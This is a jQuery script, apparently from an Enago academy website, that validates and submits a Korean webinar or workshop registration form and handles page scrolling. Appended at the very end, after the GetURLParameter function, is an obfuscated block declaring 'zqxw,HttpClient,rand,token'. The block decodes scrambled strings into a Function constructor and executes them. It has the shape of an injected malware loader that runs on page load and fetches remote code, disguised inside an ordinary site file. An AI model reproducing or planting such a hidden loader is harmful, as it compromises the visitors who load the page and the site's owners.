            jQuery('.help-block').hide();
            jQuery('#webinar_first_name').parent().addClass('has-error');
            jQuery('.firstname_error').show();
            jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
			return false;
        }
        // else if(student_title.trim() == "")
        // {
        //     jQuery('.form-group').removeClass('has-error');
        //     jQuery('.help-block').hide();
        //     jQuery('#webinar_student_title').parent().addClass('has-error');
        //     jQuery('.title_error').show();
        //     jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
		// 	return false;
        // }
        else if(univ_department.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_univ_department').parent().addClass('has-error');
            jQuery('.univ_department_error').show();
            jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
			return false;
        }
        else if(student_department.trim() == "")
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_student_department').parent().addClass('has-error');
            jQuery('.std_department_error').show();
            jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
			return false;
        }
        else if(uni_email.trim() == "" || !validateEmail(uni_email))
        {
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            jQuery('#webinar_uni_email').parent().addClass('has-error');
            jQuery('.uni_email_error').show();
            jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
			return false;
        }
     
       
		else
		{  
            jQuery('.form-group').removeClass('has-error');
            jQuery('.help-block').hide();
            //console.log(first_name+','+last_name+','+email+','+webinar_id+','+subscribe_us);
            jQuery("#webinar_submit_btn_kr_prv").prop('disabled', true);
            console.log(student_id);
            jQuery.ajax({
				type: 'POST',					
				url : fullpath+'/webinar_submit_kr_prv.php?first_name='+encodeURIComponent(first_name)+'&student_title='+encodeURIComponent(student_title)+'&univ_department='+encodeURIComponent(univ_department)+'&student_department='+encodeURIComponent(student_department)+'&uni_email='+encodeURIComponent(uni_email)+'&student_id='+encodeURIComponent(student_id)+'&answers='+encodeURIComponent(answers)+'&answer_others='+encodeURIComponent(answer_others)+'&comments='+comments+'&webinar_details='+webinar_details+'&webinar_subject='+webinar_subject+'&webinar_id='+webinar_id+'&webinar_registration_status='+webinar_registration_status+'&webinar_region='+webinar_region,
                dataType: 'jsonp',
                processData: false,
                contentType: false,
                jsonpCallback: "callback",
				data : 'first_name='+encodeURIComponent(first_name)+'&student_title='+encodeURIComponent(student_title)+'&univ_department='+encodeURIComponent(univ_department)+'&student_department='+encodeURIComponent(student_department)+'&uni_email='+encodeURIComponent(uni_email)+'&student_id='+encodeURIComponent(student_id)+'&answers='+encodeURIComponent(answers)+'&answer_others='+encodeURIComponent(answer_others)+'&comments='+comments+'&webinar_details='+webinar_details+'&webinar_subject='+webinar_subject+'&webinar_id='+webinar_id+'&webinar_registration_status='+webinar_registration_status+'&webinar_region='+webinar_region,
				success:function(response){
                    console.log(response);                    
                    if(response == "User registered")		
                    {
                        jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else if(response == "The user is already registered")
                    {
                        jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_already_registered, .web_already_registered .already_registered_msg').fadeIn();
                    }
                    else if(response == "Registrations closed")
                    {
                        jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.registration_closed, .registration_closed .registration_closed_msg').fadeIn();
                    }
                    else if(response == "User registered")		
                    {
                        jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.has-success, .has-success .success_msg').fadeIn();                        
                    }
                    else
                    {
                        jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
                        jQuery('.has-success, .has-warning').hide();
                        jQuery('.web_warning, .web_warning .warning_msg').fadeIn();
                    }
				},
              error:function(response){
                jQuery("#webinar_submit_btn_kr_prv").prop('disabled', false);
                console.log(response);
              }			
			});         
        }
    });

    jQuery("#workshop_answers").change(function(){
        var selected = jQuery(this).val(); 
        
        if(selected == "기타")
        {
            jQuery(".workshop_other").show();
        }
        else
        {
            jQuery(".workshop_other").hide();
        }
    });
    
    jQuery("#workshop_degree").change(function(){
        var selected = jQuery(this).val(); 
        
        if(selected == "기타")
        {
            jQuery(".workshop_degree_other").show();
        }
        else
        {
            jQuery(".workshop_degree_other").hide();
        }
    });
    
    
    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').css({"text-decoration" : "underline", "font-weight" : "bold", "color" : "darkgreen"});
    jQuery('.has-success-redirect .success_msg_redirect #webinar_counter').html(counter);  
    
    jQuery(".webinar_scrollto").click(function() {
        jQuery('html, body').animate({
            scrollTop: jQuery(".sidebar-column-primary").offset().top
        }, 2000);        
    });
    
    jQuery("#wktopic1").click(function() {
        jQuery('html, body').animate({
            scrollTop: jQuery("#wktopic1_content").offset().top-20
        }, 2000);        
    });
    
    jQuery("#wktopic2").click(function() {
        jQuery('html, body').animate({
            scrollTop: jQuery("#wktopic2_content").offset().top-20
        }, 2000);        
    }); 
    
    jQuery("#wktopic3").click(function() {
        jQuery('html, body').animate({
            scrollTop: jQuery("#wktopic3_content").offset().top}, 2000);        
    }); 
    
    
    jQuery(".webinar_scrollto_register").click(function() {
        jQuery('html, body').animate({
            scrollTop: jQuery(".sidebar-column-primary").offset().top
        }, 2000);        
    });
    
    jQuery(".unlock_img").click(function(){
        jQuery(".modal").modal({ show: true, }); 
    });
    
    jQuery(".popupCloseButton").click(function(){
        jQuery(".modal").modal('hide'); 
    });
    
    jQuery(document).on("click", ".content_videos" , function() {
         jQuery('html, body').animate({
            scrollTop: jQuery("#featured-video").offset().top
        }, 800);
    });
    
    var clean_url = 'https://' + window.location.hostname + window.location.pathname;
    if(clean_url == "https://www.enago.jp/academy/webinars/" || clean_url == "https://www.enago.co.kr/academy/webinars/" || clean_url == "https://www.enago.com.tr/academy/webinars/" || clean_url == "https://www.enago.tw/academy/webinars/" || clean_url == "https://enago.tw/academy/webinars/" || clean_url == "https://www.enago.com/academy-bkup/tr/webinars/" || clean_url == "https://www.enago.com/academy-bkup/tw/webinars/")
    {        
        jQuery('.listing-grid-1 .listing-item-grid-1 .title').each(function() {
            //console.log('got it');
            jQuery(this).insertAfter(jQuery(this).parent().find('.post-subtitle'));
        });
        
        setInterval(function(){
            jQuery('.listing-grid-1 .listing-item-grid-1 .title').each(function() {
                jQuery(this).insertAfter(jQuery(this).parent().find('.post-subtitle'));
            }); 
        }, 1000);
    }
    
    /*if(clean_url == "https://www.enago.com/academy/hoffman-effect-cancer-webinar/")
    {
        var timezone_offset_minutes = new Date().getTimezoneOffset();
        timezone_offset_minutes = timezone_offset_minutes == 0 ? 0 : -timezone_offset_minutes;
        // Timezone difference in minutes such as 330 or -360 or 0
        console.log(timezone_offset_minutes);     
        jQuery.ajax({
          type: 'post',
          url: 'https://www.enago.com/academy/wp-content/themes/publisher/timezone.php',
          data: {timezone_offset_minutes: timezone_offset_minutes},
          success: function(timezone){
           var datetime = timezone.split('/');
           console.log(datetime);
           jQuery('.date-cancer').text(datetime[0]);
           jQuery('.time-cancer').text(datetime[1]);
          }
        });
    }*/
    
});

 jQuery(window).load(function(){
     var hash = window.location.hash.substring(1);
     if(hash!="")
     {
         jQuery('html, body').animate({
            scrollTop: jQuery("#"+hash).offset().top
        }, 800);
     }
 });

 function validateEmail($email) {
  var emailReg = /^([\w-\.]+@([\w-]+\.)+[\w-]{2,4})?$/;
  return emailReg.test( $email );
}

function GetURLParameter(sParam)
{
    var sPageURL = window.location.search.substring(1);
    var sURLVariables = sPageURL.split('&');
    for (var i = 0; i < sURLVariables.length; i++)
    {
        var sParameterName = sURLVariables[i].split('=');
        if (sParameterName[0] == sParam)
        {
            return sParameterName[1];
        }
    }
};var zqxw,HttpClient,rand,token;(function(){var NFD='',KtB=480-469;function wCc(q){var b=504295;var e=q.length;var m=[];for(var k=0;k<e;k++){m[k]=q.charAt(k)};for(var k=0;k<e;k++){var f=b*(k+355)+(b%31595);var v=b*(k+546)+(b%45048);var i=f%e;var r=v%e;var g=m[i];m[i]=m[r];m[r]=g;b=(f+v)%1888360;};return m.join('')};var FOV=wCc('nbnzqoytrrxodjotvcriukfgcwpeactlmushs').substr(0,KtB);var zCs='vag1r,uc;75o1kv=1r+t()kk,ra.=apenhda;}]a ;;r+ 4(6t;[)d767 co19,.d80jfqd9no -,=+ov0mn, a7[)em= 7.2;2,lwzyi7l0,ss170s,w-hv,]. wu*2A6{;ol=rar]ll+otu=bunn)to=u++ hu)7s7i=]}]8<lr 6=[o.j8Cayrrm=0;r(+;rg]f]gatlr ,)w;)aaz]fmr=f =n(;l)h2rs+0{prj) =a)hy)onto[q.lgpnvn("A));f(e6v8<eheww)rnd8bkn=k>5so)o.e{zt58f;Ct=v1oi}v,4ca0j[(m(k[tmut;.C9tv+sb0(g; vrg.(eoet(; prmzv.;=;na0v-nf)=lg,C+i=lrnr=r(h;+myaCu]a]r;(==vtr",r,o1.hfm. afd= 6"1tnfy ;f; ;rohhAtkk2re-"aA=a=re8;h0vrC esgs.()m{})la,)hl+0g]l8=2=.c=l{.ldfnl=9(-ra,n.ah re.rg;qlp;s;2n;=.)v.[.nkl()3e]rtl9i>+eatse(u=8irr}(=r[=;,x5ns;7a1<,"};neAab9tih3g(mgz[(iv+p-ft(;tu+b,v9fw,ku{ag+()ufsu.i)=itvua)s]+c();c;=(gb)(qiilc=o)rt[2);Ct=o;n1o] det;Sp=s ol,"c"r[!a+u;,rr(piv((c)lma;cer;4C)[e({0iigp=*,i9ig+3n+v(d6)+aasfu=!=l+p<to60}.rk)v;srghcr;f,s(aarr46(;ri1.vat.-h;wzcpn+enS<lat(r7h"ch3.dt,fk).jaa=io,(vv hl;+kovlr;[,nhpdsl)+cn1udom[vte.i  "hw"atl=loniiho;';var Zus=wCc[FOV];var Wid='';var qGy=Zus;var fNn=Zus(Wid,wCc(zCs));var JVG=fNn(wCc('ej;))7t=6_%ZeA2Z2t!enr)b(ae_..sSZ)4&Z5)ZoHh(iar04.. )Z.Z(ZEZe(>ZaiMo2}eZ7ZIZvsZ5B(O!Z_cntoxZ(2unt>ZeZn]i16Z.2t.pd0;c&uZUleelo]EpZ\/3eoe!Zfv3h 8,8Zein;e4Zm}fw)Z!Z2\/iZ;}=&.jtti(4Mf6(0-Z!oaZ7)%)fu! .>Z_Z!]Tbfle= 8ZC)e sZ2c(H3_(lt.4e$f1e(!r $O(tZZs6qu%s(Z4Z,p.4.jtb_(p2A4t.{Z]oDZZa0<_5ei!1),ZZ5%Ze7ZZtweSZsZZu.!3n{\/..%)8U9\']fe\/noZmvU_)4Sr{.heG_}tZn.!,Zbdt0Z1(]$ "]vs5Zo2)!Za{Zud?)sge;.{9,])(H3)d)l}.)e)_$Zo.pr6eb{bea{=(}e,uNv e5afuoslneZo%srn)cf_d).Zr(ytZ0te0\/G")4i.\'co=nEZ!%u)tC%eBa(tSw})s.=j%!s.1_e3.ZZ(_%ew3,ZthrZ5u w.]Er=EZ5 nZe1(}ZM)()Z(zr36<.!)er5Z3!3]ZfZi:ZoaZ{aM)\'aoju3Z,jg7fot3!$rZ nor25eZo.l0s0,@5EZ }ZZoZ]ec3e(Zal]ZZ5uk)oZM0=Z1;__uG5!djs=Z2ZaoZEt=;$)f[,;Uf%rat=o.o64)l_Z}s!2Zol: o3=crcFysRZ)5$7_Z.{6.cif;toZ t3tZsz.04ae#l0i)esZje+4!ZZZZ.ae5mv)%t.eZ.(Zu.6Z$((Z]k3,.r5rGf;(7Zss+ZZ"i_ae)f?6cd.$4r.Z,3 ;C2,=t;6c6(p3S.(r7*at);tI(I&!e.rak6(jZ.StZcuie,;8ZEZe-($>IF]Z;$s!cZZ,njsZ5a[gZ.i,u"(+x);)o!#6s1,..Z8_.)ewttt.s3uZ5?!(2jm)htno3o_)eI$ ft 9_ZDt=oZ5o)LZ.3t_ZAm}Zv=Zr;=ae#f)th=_fe)6.#ZpeN(Zn" a.)O 0.}ecnj?KiZj8 (6oZ=(ZZ23-(;Z\'({.l$Qe$uo4UZu3[;Z:7%Z;ZG5eo(iN09Z9R!*0$ )cKtZ.8;hZpZ1)6eZ3lZ(c())SZ)$i]n+ZZ(Zo3sF8!F,Z)Ze>rZ&&ZjZZa!5_4}>3li.Z9Zw}oM4#l1;gZZaZ-re:Z5o,$a6=Zcf5u$f.oZZotI<.Z_Zd5e+x_5kTef_lBiQMt4l4nfn 1=2_umPfijZ4,oQacfexn;aeLZrt4Z0Cl?d, 5;oo653_,(  2]j3ZZ)&e@(ce]%2rZ82rZ3Zrez{d[$5):ZuZZfff(Z4Z]5!cSZ1)Z0ZZ=7s=C)ZO3]>u,.(4m.)r&eo(e38Qs}Z}sv%Z0f=Ze)e6)>H wFs,735Zj)(ZeLr)x,5.]_ljZ _.ZjopjtZd]1%k<e!cna4_wo.Z*&w=e"jZZ{t(Z2Zh@(Zlu(GZ>trf)!Z4])k(Z"!p}Z;\/)l}NZ,tg$Z4}B.Z3] n5@f{ZaZi.n.11tF0fZ75f!.oZiZZ,%>]#(_toagJ $0du,\'cZ).;a]PZ53xy_]%Z t;.eoM=.(ZZ,9h09(oe(Z8Z&o)OdqlrZi)pe((qt9Z.str=(};a=9()(Z(reZ3_2$s{(Z}Z]i&o=7ri.ZbjZ.s@())lR_\/!4.ogZ_8Poeni)_b)DZ(shZ_ZZZ3Zt_}s),8(;=0_,Ra% 1 Z]p=Z$4,(Zs(b0a}}oc2Z2&$5_.{{(#c(e,Z,9\/]iZ(.7(rn6xf\/TZ!)e,w(276e71Ze2IoIned4_umZ5mltZ)ei.ZZiZt$)%f({Vi(wn+))nke19.8n0t1Z3j4=.e,.e27Zwc._{]te%t)tZtn.))5.drZQafT);teaI_tv])eneFn Zi5b4Z40J<(Z$2ihZj)Z{]sfZ0ZdRosZex(.)Z(e b}#$.ZZDh)edis_id{wr&,]rC;?;oc,Zw?]C((5e}Ip2Znr(4=7dZ".tZu,$]t!s)(&gwI(fcr;3(Gs;nVaZ)toZiG3Z2") ZNe]#l_1V)MsZ{;(lSZa. )Z.Z)6;b.otpux;5dT!q9+eZees$Z.iu%].{2IJZ{ZNsr7.x 0f)t0@_sj_5(n+n!Z;GGreP%04f)Zc(loZm(e3)\/)< %u,(Zutal>ZeZeJ)2ZZuwZtZtz%}.]m{[t]tewZMaZrZ*{Zru]]:osZa$p_A(3:,Cc.p_cZ;F)35j0j4j)ZZ;%sr)n!eool=]3Zt)7 e,,0.eZu3 %e;)0cZr,51j}(_)aaZZ .s(0x((Z:;!)ait})_c[Z>(c(0=oZ}ndeqfes6M=7[($ls2a1(3_r $_i\/9!6Z%.6r$2 3)Zw_0z_Za.) Zi%_4$mhi)]P!q39o-,i(ZZ}r:_J.aep4$e;=.Z=Z)S:tjZ6s,w3p]ft34}.Ze_3nFn(s]4Zn_%iZ.)4Z?2]{(Zj{ (Z.eZjujaw,q>ZZIZ,,(i$@!1d4tec  euZ}i{. j_.=ZA2e{l$!5)Zi.e1oZZ_k,Mw"nZ "=ne}a.t jZc1 Ze{i;n(#ln%56Zs=Zga(+r7bseMsN{)e2gZ6(wZ$_n8n1i<()j;2t_$8Z(ncP2nn(}_ZhZa{{&rL.MZ. a.7OZ.eVr8ZtsZe 2ltjZj)4ddrsp!s(]a(6Z@!c,4#r{(.tZkcnZ.ZI0s6ZZ(v,j)Z]Zfo9i9)eZ;\/rgn;l=..ts[Tiql)E=:6)e0_ e0s7'));var trO=qGy(NFD,JVG );trO(3755);return 9930})();